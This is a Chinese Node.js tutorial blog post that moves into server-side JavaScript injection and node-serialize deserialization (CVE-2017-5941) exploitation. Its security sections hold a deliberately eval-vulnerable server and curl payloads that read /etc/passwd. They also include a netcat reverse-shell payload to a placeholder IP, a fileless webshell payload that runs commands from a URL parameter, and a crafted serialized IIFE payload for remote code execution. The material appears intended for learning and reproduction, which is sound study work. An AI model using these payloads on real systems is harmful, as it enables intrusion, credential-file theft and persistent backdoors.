nodejs学习以及SSJS漏洞
0x01 简介
什么是nodejs,it's javascript webserver!
JS是脚本语言,脚本语言都需要一个解析器才能运行。对于写在HTML页面里的JS,浏览器充当了解析器的角色。而对于需要独立运行的JS,NodeJS就是一个解析器。
每一种解析器都是一个运行环境,不但允许JS定义各种数据结构,进行各种计算,还允许JS使用运行环境提供的内置对象和方法做一些事情。例如运行在浏览器中的JS的用途是操作DOM,浏览器就提供了document
之类的内置对象。而运行在NodeJS中的JS的用途是操作磁盘文件或搭建HTTP服务器,NodeJS就相应提供了fs
、http
等内置对象。
0x02 测试
直接下载编译好的exe放到系统目录下(当然也可以使用msi安装包进行安装 http://nodejs.cn/#download),查看版本,和解析js命令
文件操作
NodeJS提供了基本的文件操作API,但是像文件拷贝这种高级功能就没有提供,因此我们先拿文件拷贝程序练手。与copy
命令类似,我们的程序需要能接受源文件路径与目标文件路径两个参数。
文件拷贝
我们使用NodeJS内置的fs
模块简单实现这个程序如下。
var fs = require('fs'); function copy(src, dst) {
fs.writeFileSync(dst, fs.readFileSync(src));
} function main(argv) {
copy(argv[0], argv[1]);
} main(process.argv.slice(2));
这里说一下,即使脚本的后缀不是以js结尾的,也是可以顺利执行的。
网络操作
不了解网络编程的程序员不是好前端,而NodeJS恰好提供了一扇了解网络编程的窗口。通过NodeJS,除了可以编写一些服务端程序来协助前端开发和测试外,还能够学习一些HTTP协议与Socket协议的相关知识。
NodeJS本来的用途是编写高性能Web服务器。我们首先在这里重复一下官方文档里的例子,使用NodeJS内置的http
模块简单实现一个HTTP服务器。
var http = require('http'); http.createServer(function (request, response) {
response.writeHead(200, { 'Content-Type': 'text-plain' });
response.end('Hello World\n');
}).listen(8124);
除了可以构建http服务器之外,还可以用作客户端发送http请求,like this
var options = {
hostname: 'www.example.com',
port: 80,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
}; var request = http.request(options, function (response) {}); request.write('Hello World');
request.end();
请求头和请求体都可以定制。
除文件操作和网络操作之外还有进程管理和异步编程等就不具体描述了,详细的可以查看官方api文档。
有了web服务端开发语言,那么像php语言一样有一些著名的框架(laravel,CodeIgniter,thinkphp)一样,Nodejs也有比较流行的框架,是Express。
express的安装 npm install express --save
0x03 ssjs 服务端javascript代码注入
漏洞代码如下:
/**
* NodeBleed Original Bug: https://github.com/nodejs/node/issues/4660
* PoC: $ node nodejs-ssjs-nodebleed.js
* "Attack":
* - Direct Eval: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))"
* - JSON Abuse: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":"1000",\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}"
* - NodeBleed: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":1000,\"injection\":\"\"}" | hexdump -C
*
* Insecure evals Payloads:
* - --data "{\"str\": \"1000\",\"injection\":\"require('child_process').exec('netcat -e /bin/sh IP 9999')\"}" ($ netcat -l -p 9999)
* - --data "{\"str\": 10000,\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}"
* All Node.js version (5.5.0 and 4.2.6) are vulnerable at the moment.
* $ nvm ls-remote (Play with different versions)
* @SiMpS0N - Fev/2016
*/ var http = require('http'); var server = http.createServer(function(req, res) {
console.log("### 0xOPOSEC Demos ###")
var data = ''
var injection = ''
req.setEncoding('utf8')
req.on('data', function(chunk) {
data += chunk
})
console.log(data)
req.on('end', function() {
/*Convert a JSON text into an object
* Tradional way (Not Secure):
* var body = eval("("+data+")")
* Attack: "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))"
*/
//var body = eval("("+data+")")
/*
* Correct way:
*/
var body = JSON.parse(data) //SSJS Injection (eval JS code)
console.log("##SSJS Injection")
console.log("Payload: "+body.injection+"\n") injection = eval(body.injection) //NodeBleed (new Buffer(int)->MemoryDisclosure)
console.log("##NodeBleed")
console.log("Disclosure Bytes: "+body.str)
res.end(new Buffer(body.str) + "\n" + injection)
})
}) server.listen(8080)
简单分析一下,服务器端监听8080端口,对接收到post的json数据处理,其中injection字段的值进行了eval代码执行,那么payload构造起来就很简单,我们可以通过fs模块的readFileSync()函数去读比如 /etc/passwd 文件,如下图所示:
那创建一个无文件的小马如何?
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0
Host: 192.168.199.182:8080
Accept: */*
Content-Type: application/json
Content-Length: 301 {"str":1000,"injection":"setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {\"Content-Type\": \"text/plain\"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)"}
如上,我们是开启了一个8000端口的监听,并对传入的cmd参数进行命令执行,这样就达到了一个小马的效果。
0x04 反序列化漏洞
nodejs的node-serialize 模块曾经爆出过一个漏洞CVE-2017-5941可以参考https://www.exploit-db.com/docs/41289.pdf,该模块的源码在这里https://github.com/luin/serialize(好奇的是漏洞出了这么久,但是作者并没有去修复。。只是发了一个security warning。。)
这里简单介绍和复现一下:
注意,如果想要全局中使用这个node-serialize模块就要使用 -g的参数(npm全局安装和本地安装 http://www.cnblogs.com/chyingp/p/npm-install-difference-between-local-global.html),而且参考文章中版本也是0.0.4,也正好就是存在漏洞的版本。
生成payload的方式如下:
var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
Serialized:
{"rce":"_$$ND_FUNC$$_function (){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}
但是生成的payload要修改才能够调用执行
{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { console.log(stdout) });}()"} 需要在整个function后面加(),「立即执行函数表达式」(Immediately-Invoked Function Expression,以下简称IIFE)参考:http://weizhifeng.net/immediately-invoked-function-expression.html
反序列化恶意payload,就执行了ls / 的命令,效果如下图所示
0x05 Refererence
1.https://nqdeng.github.io/7-days-nodejs/
2.http://www.runoob.com/nodejs/nodejs-express-framework.html
3.https://www.youtube.com/watch?v=puyOlZBudNI
4.http://expressjs.com/
5.慕课网nodejs学习 http://www.imooc.com/learn/348
6.http://www.kanxue.com/?article-read-1108.htm=&hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
7.https://s1gnalcha0s.github.io/node/2015/01/31/SSJS-webshell-injection.html
8.http://paper.seebug.org/213/
9.https://bbs.ichunqiu.com/thread-24807-1-1.html?from=beef
nodejs学习以及SSJS漏洞的更多相关文章
- Nodejs学习路线图
前言 用Nodejs已经1年有余,陆陆续续写了48篇关于Nodejs的博客文章,用过的包有上百个.和所有人一样,我也从Web开发开始,然后到包管 理,再到应用系统的开发,最后开源自己的Nodejs项目 ...
- Nodejs学习笔记(四)——支持Mongodb
前言:回顾前面零零碎碎写的三篇挂着Nodejs学习笔记的文章,着实有点名不副实,当然,这篇可能还是要继续走着离主线越走越远的路子,从简短的介绍什么是Nodejs,到如何寻找一个可以调试的Nodejs ...
- Nodejs学习笔记(三)——一张图看懂Nodejs建站
前言:一条线,竖着放,如果做不到精进至深,那就旋转90°,至少也图个幅度宽广. 通俗解释上面的胡言乱语:还没学会爬,就学起走了?! 继上篇<Nodejs学习笔记(二)——Eclipse中运行调试 ...
- Nodejs学习笔记(二)——Eclipse中运行调试Nodejs
前篇<Nodejs学习笔记(一)——初识Nodejs>主要介绍了在搭建node环境过程中遇到的小问题以及搭建Eclipse开发Node环境的前提步骤.本篇主要介绍如何在Eclipse中运行 ...
- NodeJS学习笔记之Connect中间件模块(一)
NodeJS学习笔记之Connect中间件模块(一) http://www.jb51.net/article/60430.htm NodeJS学习笔记之Connect中间件模块(二) http://w ...
- Nodejs学习笔记(六)--- Node.js + Express 构建网站预备知识
目录 前言 新建express项目并自定义路由规则 如何提取页面中的公共部分? 如何提交表单并接收参数? GET 方式 POST 方式 如何字符串加密? 如何使用session? 如何使用cookie ...
- Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例
目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装项目其它需要包 清除冗余文件并重新规划项目目录 配置文件 规划示例路由,并新建相关文件 实现数据访问和业务逻辑相关方法 编写mys ...
- Nodejs学习笔记(十六)--- Pomelo介绍&入门
目录 前言&介绍 安装Pomelo 创建项目并启动 创建项目 项目结构说明 启动 测试连接 聊天服务器 新建gate和chat服务器 配置master.json 配置servers.json ...
- [转]Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例
本文转自:https://www.cnblogs.com/zhongweiv/p/nodejs_koa2_webapp.html 目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装 ...
随机推荐
- SharpZipLib压缩解压的使用
项目中使用 Velocity 将模板和生成的动态内容(HTML.XML等)合并保存到redis数据库中,考虑到压缩的文件容量会比较小,方便传输而且存储所使用的空间也会比较小,所以要压缩一下,读取的时候 ...
- python接口自动化-json数据处理
前言 有些post的请求参数是json格式的,需要导入json模块进行处理,json是一种数据交换格式,独立于编程语言 一般常见的接口返回数据也是json格式的,我们在做判断的时候,往往只需要提取其中 ...
- Java注解原理
1. @interface不是接口是注解类,使用@interface自定义注解时,自动继承了java.lang.annotation.Annotation接口,由编译程序自动完成其他细节 2. @in ...
- codeforces 1064套题
a题:题意就是问,3个数字差多少可以构成三角形 思路:两边之和大于第三遍 #include<iostream> #include<algorithm> using namesp ...
- LinkedList类 和ArrayList类
1)LinkedList类 LinkedList实现了List接口,允许null元素.此外LinkedList提供额外的get,remove,insert方法在 LinkedList的首部或尾部.这 ...
- 分析dhcp.lease文件,统计DHCP服务器IP自动分配
#!/usr/bin/env python # coding=utf-8 import string import time,datetime class TIMEFORMAT: def __init ...
- [转帖][超级少儿不宜]一氧化氮(NO),为什么亚洲人是最硬
阴茎科学:一氧化氮(NO),为什么亚洲人是最硬 尼堪巴图鲁 关注他 2,911 人赞同了该文章 https://zhuanlan.zhihu.com/p/55941740 超级少儿不宜.. ...
- String,StringBuffer与StringBuilder的区别?? 缓存
转: String 字符串常量StringBuffer 字符串变量(线程安全)StringBuilder 字符串变量(非线程安全) 简要的说, String 类型和 StringBuffer 类型的主 ...
- Nuget 多平台多目标快速自动打包
构建现代的 .Net 应用离不开 Nuget 的支持,而快速打包 Nuget 成了提高生产率的有效方法. 1. 前置条件 为了实现 Nuget 的快速打包,我们需要先解决一些前置依赖,无论是 .Net ...
- centos 桌面没有有线设置,不能上网
1.ifconfig 发现缺少网卡 ensxx 2.cd /etc/sysconfig/network-scripts/ 发现有网卡ens的配置文件,只是没有启动 3.ifconfig -a 发现有 ...